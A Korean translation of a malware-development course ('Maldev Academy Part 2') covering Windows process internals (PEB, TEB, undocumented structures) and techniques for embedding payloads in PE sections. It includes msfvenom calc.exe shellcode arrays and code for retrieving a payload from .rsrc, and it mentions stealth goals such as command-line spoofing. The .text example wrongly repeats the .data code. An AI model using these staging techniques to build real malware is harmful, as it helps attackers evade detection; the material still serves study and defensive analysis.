Maldev Academy Part 2

목차


    11. Windows 프로세스

    Windows 프로세스

    Windows 프로세스란 무엇인가요?

    Windows 프로세스는 Windows 컴퓨터에서 실행 중인 프로그램 또는 애플리케이션입니다. 프로세스는 사용자 또는 시스템 자체에 의해 시작될 수 있습니다. 프로세스는 작업을 완료하기 위해 메모리, 디스크 공간, 프로세서 시간 등의 리소스를 소비합니다.

    프로세스 스레드

    Windows 프로세스는 모두 동시에 실행되는 하나 이상의 스레드로 구성됩니다. 스레드는 프로세스 내에서 독립적으로 실행할 수 있는 명령어 집합입니다. 프로세스 내의 스레드는 통신하고 데이터를 공유할 수 있습니다. 스레드는 운영 체제에 의해 실행이 예약되고 프로세스의 컨텍스트에서 관리됩니다.

    프로세스 메모리

    Windows 프로세스는 데이터와 명령어를 저장하는 데도 메모리를 사용합니다. 메모리는 프로세스가 생성될 때 프로세스에 할당되며 할당되는 양은 프로세스 자체에서 설정할 수 있습니다. 운영 체제는 가상 메모리와 실제 메모리를 모두 사용하여 메모리를 관리합니다. 가상 메모리는 운영 체제에서 애플리케이션이 액세스할 수 있는 가상 주소 공간을 생성하여 물리적으로 사용 가능한 메모리보다 더 많은 메모리를 사용할 수 있도록 합니다. 이러한 가상 주소 공간은 “페이지”로 나뉘어 프로세스에 할당됩니다.

    메모리 유형

    프로세스는 다양한 유형의 메모리를 가질 수 있습니다:

    • 개인 메모리는 단일 프로세스 전용이며 다른 프로세스가 공유할 수 없습니다. 이 유형의 메모리는 프로세스 전용 데이터를 저장하는 데 사용됩니다.
    • 매핑된 메모리는 둘 이상의 프로세스 간에 공유할 수 있습니다. 공유 라이브러리, 공유 메모리 세그먼트, 공유 파일 등 프로세스 간에 데이터를 공유하는 데 사용됩니다. 매핑된 메모리는 다른 프로세스에서 볼 수 있지만 다른 프로세스에서 수정할 수 없도록 보호됩니다.
    • 이미지 메모리에는 실행 파일의 코드와 데이터가 들어 있습니다. 이미지 메모리는 프로그램의 코드, 데이터, 리소스 등 프로세스에서 사용하는 코드와 데이터를 저장하는 데 사용됩니다. 이미지 메모리는 종종 프로세스의 주소 공간에 로드된 DLL 파일과 관련이 있습니다.

    프로세스 환경 블록(PEB)

    PEB(프로세스 환경 블록)는 매개변수, 시작 정보, 할당된 힙 정보, 로드된 DLL 등 프로세스에 대한 정보를 포함하는 Windows의 데이터 구조입니다. 운영 체제에서 실행 중인 프로세스에 대한 정보를 저장하는 데 사용되며, Windows 로더에서 애플리케이션을 시작하는 데 사용됩니다. 또한 프로세스 ID(PID) 및 실행 파일 경로와 같은 프로세스에 대한 정보도 저장합니다.

    생성된 모든 프로세스에는 고유한 PEB 데이터 구조가 있으며, 여기에는 해당 프로세스에 대한 고유한 정보 집합이 포함됩니다.

    PEB 구조

    C언어의 PEB 구조체는 아래와 같습니다. 이 구조체의 예약된 멤버는 무시할 수 있습니다.

    typedef struct _PEB {
      BYTE                          Reserved1[2];
      BYTE                          BeingDebugged;
      BYTE                          Reserved2[1];
      PVOID                         Reserved3[2];
      PPEB_LDR_DATA                 Ldr;
      PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
      PVOID                         Reserved4[3];
      PVOID                         AtlThunkSListPtr;
      PVOID                         Reserved5;
      ULONG                         Reserved6;
      PVOID                         Reserved7;
      ULONG                         Reserved8;
      ULONG                         AtlThunkSListPtr32;
      PVOID                         Reserved9[45];
      BYTE                          Reserved10[96];
      PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
      BYTE                          Reserved11[128];
      PVOID                         Reserved12[1];
      ULONG                         SessionId;
    } PEB, *PPEB;

    비예약 회원은 아래에 설명되어 있습니다.

    디버깅됨

    BeingDebugged는 프로세스가 디버깅 중인지 아닌지를 나타내는 PEB 구조의 플래그입니다. 프로세스가 디버깅 중이면 1(TRUE), 디버깅 중이 아니면 0(FALSE)으로 설정됩니다. 이 플래그는 Windows 로더에서 디버거가 연결된 상태에서 애플리케이션을 시작할지 여부를 결정하는 데 사용됩니다.

    Ldr

    Ldr은 프로세스 환경 블록(PEB)의 PEB_LDR_DATA 구조에 대한 포인터입니다. 이 구조체에는 프로세스에 로드된 동적 링크 라이브러리(DLL) 모듈에 대한 정보가 들어 있습니다. 여기에는 프로세스에 로드된 DLL 목록, 각 DLL의 기본 주소 및 각 모듈의 크기가 포함됩니다. 이 함수는 Windows 로더가 프로세스에 로드된 DLL을 추적하는 데 사용됩니다. PEB_LDR_DATA 구조체는 아래와 같습니다.

    typedef struct _PEB_LDR_DATA {
      BYTE       Reserved1[8];
      PVOID      Reserved2[3];
      LIST_ENTRY InMemoryOrderModuleList;
    } PEB_LDR_DATA, *PPEB_LDR_DATA;

    Ldr은 특정 DLL의 기본 주소와 해당 메모리 공간에 있는 함수를 찾는 데 활용할 수 있습니다. 이는 향후 모듈에서 스텔스 기능을 강화하기 위해 사용자 지정 버전의 GetModuleHandleA/W를 빌드하는 데 사용될 것입니다.

    프로세스 매개변수

    ProcessParameters는 PEB의 데이터 구조입니다. 여기에는 프로세스가 생성될 때 프로세스에 전달되는 명령줄 매개변수가 포함되어 있습니다. Windows 로더는 이러한 매개변수를 프로세스의 PEB 구조에 추가합니다. ProcessParameters는 아래에 표시된 RTL_USER_PROCESS_PARAMETERS 구조체에 대한 포인터입니다.

    typedef struct _RTL_USER_PROCESS_PARAMETERS {
      BYTE           Reserved1[16];
      PVOID          Reserved2[10];
      UNICODE_STRING ImagePathName;
      UNICODE_STRING CommandLine;
    } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

    ProcessParameters는 향후 모듈에서 명령줄 스푸핑과 같은 작업을 수행하는 데 활용될 예정입니다.

    AtlThunkSListPtr & AtlThunkSListPtr32

    AtlThunkSListPtr 및 AtlThunkSListPtr32는 ATL(활성 템플릿 라이브러리) 모듈에서 연결된 성킹 함수 목록에 대한 포인터를 저장하는 데 사용됩니다. 텅킹 함수는 다른 주소 공간에서 구현된 함수를 호출하는 데 사용되며, 이러한 함수는 종종 DLL(동적 링크 라이브러리) 파일에서 내보낸 함수를 나타냅니다. 링크된 함수 목록은 ATL 모듈에서 썽킹 프로세스를 관리하는 데 사용됩니다.

    PostProcessInitRoutine

    PEB 구조의 PostProcessInitRoutine 필드는 프로세스의 모든 스레드에 대해 TLS(스레드 로컬 저장소) 초기화가 완료된 후 운영 체제에서 호출하는 함수에 대한 포인터를 저장하는 데 사용됩니다. 이 함수는 프로세스에 필요한 추가 초기화 작업을 수행하는 데 사용할 수 있습니다.

    TLS 및 TLS 콜백은 나중에 필요한 경우 더 자세히 설명하겠습니다.

    SessionId

    PEB의 세션ID는 단일 세션에 할당된 고유 식별자입니다. 세션 중 사용자의 활동을 추적하는 데 사용됩니다.

    스레드 환경 블록(TEB)

    TEB(스레드 환경 블록)는 스레드에 대한 정보를 저장하는 Windows의 데이터 구조입니다. 여기에는 스레드의 환경, 보안 컨텍스트 및 기타 관련 정보가 포함됩니다. 이 블록은 스레드의 스택에 저장되며 Windows 커널에서 스레드를 관리하는 데 사용됩니다.

    TEB 구조

    C언어의 TEB 구조체는 아래와 같습니다. 이 구조체의 예약된 멤버는 무시할 수 있습니다.

    typedef struct _TEB {
      PVOID Reserved1[12];
      PPEB  ProcessEnvironmentBlock;
      PVOID Reserved2[399];
      BYTE  Reserved3[1952];
      PVOID TlsSlots[64];
      BYTE  Reserved4[8];
      PVOID Reserved5[26];
      PVOID ReservedForOle;
      PVOID Reserved6[4];
      PVOID TlsExpansionSlots;
    } TEB, *PTEB;

    프로세스환경블록(PEB)

    위에서 설명한 PEB 구조에 대한 포인터로, PEB는 스레드 환경 블록(TEB) 내부에 위치하며 현재 실행 중인 프로세스에 대한 정보를 저장하는 데 사용됩니다.

    TlsSlots

    TLS(스레드 로컬 저장소) 슬롯은 스레드별 데이터를 저장하는 데 사용되는 TEB의 위치입니다. Windows의 각 스레드에는 고유한 TEB가 있으며, 각 TEB에는 TLS 슬롯 세트가 있습니다. 애플리케이션은 이러한 슬롯을 사용하여 스레드별 변수, 스레드별 핸들, 스레드별 상태 등과 같이 해당 스레드에 특정한 데이터를 저장할 수 있습니다.

    TlsExpansionSlots

    TEB의 TLS 확장 슬롯은 스레드에 대한 스레드 로컬 스토리지 데이터를 저장하는 데 사용되는 포인터 집합입니다. TLS 확장 슬롯은 시스템 DLL이 사용하도록 예약되어 있습니다.

    프로세스 및 스레드 핸들

    Windows 운영 체제에서 각 프로세스에는 프로세스가 생성될 때 운영 체제에서 할당하는 고유한 프로세스 식별자 또는 프로세스 ID(PID)가 있습니다. PID는 실행 중인 프로세스를 다른 프로세스와 구별하는 데 사용됩니다. 실행 중인 스레드에도 동일한 개념이 적용되며, 실행 중인 스레드에는 시스템의 나머지 기존 스레드(모든 프로세스에서)와 구별하는 데 사용되는 고유 ID가 있습니다.

    이러한 식별자는 아래의 WinAPI를 사용하여 프로세스 또는 스레드에 대한 핸들을 여는 데 사용할 수 있습니다.

    • OpenProcess – 식별자를 통해 기존 프로세스 객체 핸들을 엽니다.
    • OpenThread – 식별자를 통해 기존 스레드 객체 핸들을 엽니다.

    이러한 WinAPI는 나중에 필요할 때 더 자세히 설명하겠습니다. 지금은 열린 핸들을 사용하여 프로세스나 스레드 일시 중단과 같은 관련 Windows 개체에 대한 추가 작업을 수행할 수 있다는 것만 알아두면 충분합니다.

    핸들 누수를 방지하기 위해 핸들을 더 이상 사용하지 않을 때는 항상 닫아야 합니다. 이 작업은 CloseHandle WinAPI 호출을 통해 수행됩니다.


    12. 문서화되지 않은 구조

    문서화되지 않은 구조

    소개

    구조체에 대한 Windows 설명서를 참조할 때 구조체 내에 예약된 멤버가 여러 개 있을 수 있습니다. 이러한 예약된 멤버는 종종 BYTE 또는 PVOID 데이터 유형의 배열로 표시됩니다. 이 관행은 기밀성을 유지하고 사용자가 구조를 이해하지 못하도록 하여 이러한 예약된 멤버의 수정을 방지하기 위해 Microsoft에서 구현한 것입니다.

    그렇기 때문에 이 과정을 진행하는 동안 이러한 문서화되지 않은 멤버로 작업해야 할 것입니다. 따라서 일부 모듈은 Microsoft의 설명서를 사용하지 않고 대신 문서화되지 않은 전체 구조를 가진 다른 웹사이트를 사용하며, 이는 리버스 엔지니어링을 통해 파생된 것일 가능성이 높습니다.

    PEB 구조 예시

    이전 모듈에서 언급했듯이 프로세스 환경 블록 또는 PEB는 Windows 프로세스에 대한 정보를 담고 있는 데이터 구조입니다. 그러나 PEB 구조에 대한 Microsoft의 문서에는 여러 개의 예약된 멤버가 나와 있습니다. 이로 인해 구조의 멤버에 액세스하기가 어렵습니다.

    typedef struct _PEB {
      BYTE                          Reserved1[2];
      BYTE                          BeingDebugged;
      BYTE                          Reserved2[1];
      PVOID                         Reserved3[2];
      PPEB_LDR_DATA                 Ldr;
      PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
      PVOID                         Reserved4[3];
      PVOID                         AtlThunkSListPtr;
      PVOID                         Reserved5;
      ULONG                         Reserved6;
      PVOID                         Reserved7;
      ULONG                         Reserved8;
      ULONG                         AtlThunkSListPtr32;
      PVOID                         Reserved9[45];
      BYTE                          Reserved10[96];
      PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
      BYTE                          Reserved11[128];
      PVOID                         Reserved12[1];
      ULONG                         SessionId;
    } PEB, *PPEB;

    예약된 회원 찾기

    PEB의 예약 멤버를 확인하는 한 가지 방법은 WinDbg의 !peb 명령을 사용하는 것입니다.

    보다 완전한 PEB 구조는 Process Hacker의 PEB 구조를 참조하세요.

    대체 문서

    앞서 언급했듯이 일부 모듈은 Microsoft의 설명서를 사용하지 않고 대신 다른 문서 소스를 사용합니다.

    고려 사항

    구조 정의를 선택할 때는 다음 사항을 염두에 두는 것이 중요합니다.

    • 일부 구조 정의는 x86 또는 x64와 같은 특정 아키텍처에서만 작동합니다. 이 경우 적절한 구조 정의를 선택했는지 확인하세요.
    • 중첩 구조의 개념으로 인해 여러 개의 구조를 정의해야 하는 경우도 있습니다. 예를 들어, PEB와 같은 구조체에는 다른 구조체에 대한 포인터 역할을 하는 멤버가 포함될 수 있습니다. 따라서 후자의 구조가 프로그램에서 올바르게 해석될 수 있도록 후자의 구조에 대한 정의를 포함하는 것이 중요합니다.
    • 구조체의 사용자 정의 정의를 사용할 때는 Windows SDK에 있는 원래 정의를 동시에 포함할 수 없습니다. 예를 들어, Microsoft의 PEB 구조에 대한 정의는 Winternl.h에 있습니다. 위에서 언급한 문서 소스 중 하나와 다른 정의를 사용하려는 경우 Winternl.h를 프로그램에 포함하려고 하면 Visual Studio의 컴파일러에서 재정의 오류가 발생합니다. 이를 방지하려면 구조체의 정의를 하나만 선택해야 합니다.

    13. 페이로드 배치 – .data 및 .rdata 섹션

    페이로드 배치 – .data 및 .rdata 섹션

    소개

    멀웨어 개발자는 PE 파일 내에서 페이로드를 저장할 수 있는 위치에 대해 몇 가지 옵션을 선택할 수 있습니다. 어떤 옵션을 선택하느냐에 따라 페이로드는 PE 파일 내의 다른 섹션에 저장됩니다. 페이로드는 다음 PE 섹션 중 하나에 저장할 수 있습니다:

    • .data
    • .rdata
    • .text
    • .rsrc

    이 모듈에서는 페이로드를 .data 및 .rdata PE 섹션에 저장하는 방법을 설명합니다.

    .data 섹션

    PE 파일의 .data 섹션은 초기화된 전역 및 정적 변수가 포함된 프로그램 실행 파일의 섹션입니다. 이 섹션은 읽기 및 쓰기가 가능하므로 런타임 중에 복호화가 필요한 암호화된 페이로드에 적합합니다. 페이로드가 전역 또는 로컬 변수인 경우 컴파일러 설정에 따라 .data 섹션에 저장됩니다.

    아래 코드 스니펫은 .data 섹션에 페이로드를 저장하는 예시를 보여줍니다.

    #include <Windows.h>#include <stdio.h>// msfvenom calc shellcode
    // msfvenom -p windows/x64/exec CMD=calc.exe -f c
    // .data saved payload
    unsigned char Data_RawData[] = {
    	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
    	0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
    	0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
    	0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    	0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
    	0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
    	0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    	0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
    	0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
    	0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    	0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
    	0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
    	0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
    	0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
    	0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
    	0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
    	0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
    	0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
    	0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
    	0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
    	0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
    	0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
    	0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
    };
    
    int main() {
    
    	printf("[i] Data_RawData var : 0x%p \n", Data_RawData);
    	printf("[#] Press <Enter> To Quit ...");
    	getchar();
    	return 0;
    }

    아래 이미지는 위의 코드 조각을 xdbg로 출력한 결과입니다. 이미지에서 몇 가지 항목을 주목하세요:

    1. .data 섹션은 0x00007FF7B7603000 주소에서 시작됩니다.
    2. Data_RawData의기본 주소는 0x00007FF7B7603040으로, .data 섹션에서 0x40을 오프셋한 값입니다.
    3. 이 영역의 메모리 보호는 읽기/쓰기 영역임을 나타내는 RW로 지정되어 있습니다..rdata 섹션 const 한정자를 사용하여 지정된 변수는상수로 기록됩니다. 이러한 유형의 변수는 “읽기 전용” 데이터로 간주됩니다. .rdata의 문자 “r”은 이를 나타내며, 이러한 변수를 변경하려고 시도하면 액세스 위반이 발생합니다. 또한 컴파일러와 컴파일러의 설정에 따라 .data 및 . rdata 섹션이 병합되거나 .text 섹션에 병합될 수도 있습니다. 아래 코드 조각은 페이로드를 .rdata 섹션에 저장하는 예시를 보여줍니다. 변수에 const 한정자가 앞에 붙는다는 점을 제외하면 코드는 이전 코드 조각과 본질적으로 동일합니다.
    4. #include <Windows.h>#include <stdio.h>// msfvenom calc shellcode // msfvenom -p windows/x64/exec CMD=calc.exe -f c // .rdata saved payload const unsigned char Rdata_RawData[] = { 0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44, 0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44, 0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41, 0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00 }; int main() { printf(“[i] Rdata_RawData var : 0x%p \n”, Rdata_RawData); printf(“[#] Press <Enter> To Quit …”); getchar(); return 0; }  
    5. 아래 이미지는 PE 파일에서 dumpbin.exe를 실행한 결과를 보여줍니다. Visual Studio의 C++ 런타임을 설치하면 dumpbin.exe가 자동으로 다운로드됩니다. 명령: dumpbin.exe /ALL <binary-file.exe>아래로 스크롤하여원시 바이너리 형식으로 저장된 데이터가 포함된 .rdata 섹션의 세부 정보를 확인합니다.더 아래로 스크롤하면 아래 이미지에서 강조 표시된 할당된 페이로드가 표시됩니다.

    14. 페이로드 배치 – .text 섹션

    페이로드 배치 – .text 섹션

    소개

    이전 모듈에서는 .data 및 .rdata 섹션에 페이로드를 저장하는 방법에 대해 설명했으며, 이 모듈에서는 .text 섹션에 페이로드를 저장하는 방법에 대해 설명합니다.

    .text 섹션

    .text 섹션에 변수를 저장하는 것은 단순히 임의의 변수를 선언하는 것이 아니므로 .data 또는 . rdata 섹션에 저장하는 것과는 다릅니다. 오히려 컴파일러에 .text 섹션에 저장하도록 지시해야 하며, 이는 아래 코드 스니펫에서 확인할 수 있습니다.

    #include <Windows.h>#include <stdio.h>// msfvenom calc shellcode
    // msfvenom -p windows/x64/exec CMD=calc.exe -f c
    // .data saved payload
    unsigned char Data_RawData[] = {
    	0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
    	0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
    	0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
    	0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    	0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
    	0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
    	0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
    	0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
    	0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
    	0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
    	0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
    	0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
    	0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
    	0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
    	0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
    	0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
    	0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
    	0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
    	0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
    	0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
    	0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
    	0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
    	0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
    };
    
    int main() {
    
    	printf("[i] Data_RawData var : 0x%p \n", Data_RawData);
    	printf("[#] Press <Enter> To Quit ...");
    	getchar();
    	return 0;
    }
    

    여기서 컴파일러는 Text_rawData 변수를 .rdata 섹션이 아닌 .text 섹션에 배치하도록 지시합니다. .text 섹션은 실행 가능한 메모리 권한이 있는 변수를 저장하므로 메모리 영역 권한을 편집할 필요 없이 바로 실행할 수 있다는 점에서 특별합니다. 이는 대략 10바이트 미만의 작은 페이로드에 유용합니다.

    위의 코드 조각에서 컴파일된 바이너리를 PE-Bear 도구를 사용하여 검사하면 페이로드가 .text 영역에 있는 것을 확인할 수 있습니다.


    15. 페이로드 배치 – .rsrc 섹션

    페이로드 배치 – .rsrc 섹션

    소개

    대부분의 실제 바이너리가 데이터를 저장하는 위치에 페이로드를 저장하는 것이 가장 좋은 옵션 중 하나입니다. 또한 크기 제한으로 인해 더 큰 페이로드는 .data 또는 .rdata 섹션에 저장할 수 없어 컴파일 중에 Visual Studio에서 오류가 발생할 수 있으므로 멀웨어 제작자에게는 더 깔끔한 방법입니다.

    .rsrc 섹션

    아래 단계는 .rsrc 섹션에 페이로드를 저장하는 방법을 설명합니다.

    1. Visual Studio에서 ‘리소스 파일’을 마우스 오른쪽 버튼으로 클릭한 다음 추가 > 새 항목을 클릭합니다.

    2. ‘리소스 파일’을 클릭합니다.

    3. 그러면 새 사이드바, 즉 리소스 보기가 생성됩니다. .rc 파일을 마우스 오른쪽 버튼으로 클릭하고(Resource.rc가 기본 이름) ‘리소스 추가’ 옵션을 선택합니다.

    4. ‘가져오기’를 클릭합니다.

    5. .ico 확장자를 갖도록 이름이 변경된 원시 페이로드인 calc.ico 파일을 선택합니다.

    6. 리소스 유형을 묻는 메시지가 나타납니다. 따옴표 없이 “RCDATA”를 입력합니다.

    7. 확인을 클릭하면 페이로드가 Visual Studio 프로젝트 내에서 원시 바이너리 형식으로 표시되어야 합니다.

    8. 리소스 보기를 종료하면 “resource.h” 헤더 파일이 표시되고 2단계의 .rc 파일에 따라 이름이 지정되어야 합니다. 이 파일에는 리소스 섹션에 있는 페이로드의 ID를 참조하는 정의문(IDR_RCDATA1)이 포함되어 있습니다. 이는 나중에 리소스 섹션에서 페이로드를 검색할 수 있도록 하기 위해 중요합니다.

    컴파일이 완료되면 페이로드는 이제 .rsrc 섹션에 저장되지만 직접 액세스할 수는 없습니다. 대신 여러 WinAPI를 사용하여 액세스해야 합니다.

    • FindResourceW – 전달된 특수 ID의 리소스 섹션에 저장된 지정된 데이터의 위치를 가져옵니다(헤더 파일에 정의됨).
    • LoadResource – 리소스 데이터의 HGLOBAL 핸들을 검색합니다. 이 핸들은 메모리에서 지정된 리소스의 기본 주소를 가져오는 데 사용할 수 있습니다.
    • LockResource – 핸들에서 리소스 섹션의 지정된 데이터에 대한 포인터를 가져옵니다.
    • SizeofResource – 리소스 섹션에서 지정된 데이터의 크기를 가져옵니다.

    아래 코드 스니펫은 위의 Windows API를 사용하여 .rsrc 섹션에 액세스하고 페이로드 주소와 크기를 가져옵니다.

    #include <Windows.h>#include <stdio.h>#include "resource.h"int main() {
    
    	HRSRC		hRsrc                   = NULL;
    	HGLOBAL		hGlobal                 = NULL;
    	PVOID		pPayloadAddress         = NULL;
    	SIZE_T		sPayloadSize            = NULL;
    
    
    	// Get the location to the data stored in .rsrc by its id *IDR_RCDATA1*
    	hRsrc = FindResourceW(NULL, MAKEINTRESOURCEW(IDR_RCDATA1), RT_RCDATA);
    	if (hRsrc == NULL) {
    		// in case of function failure
    		printf("[!] FindResourceW Failed With Error : %d \n", GetLastError());
    		return -1;
    	}
    
    	// Get HGLOBAL, or the handle of the specified resource data since its required to call LockResource later
    	hGlobal = LoadResource(NULL, hRsrc);
    	if (hGlobal == NULL) {
    		// in case of function failure
    		printf("[!] LoadResource Failed With Error : %d \n", GetLastError());
    		return -1;
    	}
    
    	// Get the address of our payload in .rsrc section
    	pPayloadAddress = LockResource(hGlobal);
    	if (pPayloadAddress == NULL) {
    		// in case of function failure
    		printf("[!] LockResource Failed With Error : %d \n", GetLastError());
    		return -1;
    	}
    
    	// Get the size of our payload in .rsrc section
    	sPayloadSize = SizeofResource(NULL, hRsrc);
    	if (sPayloadSize == NULL) {
    		// in case of function failure
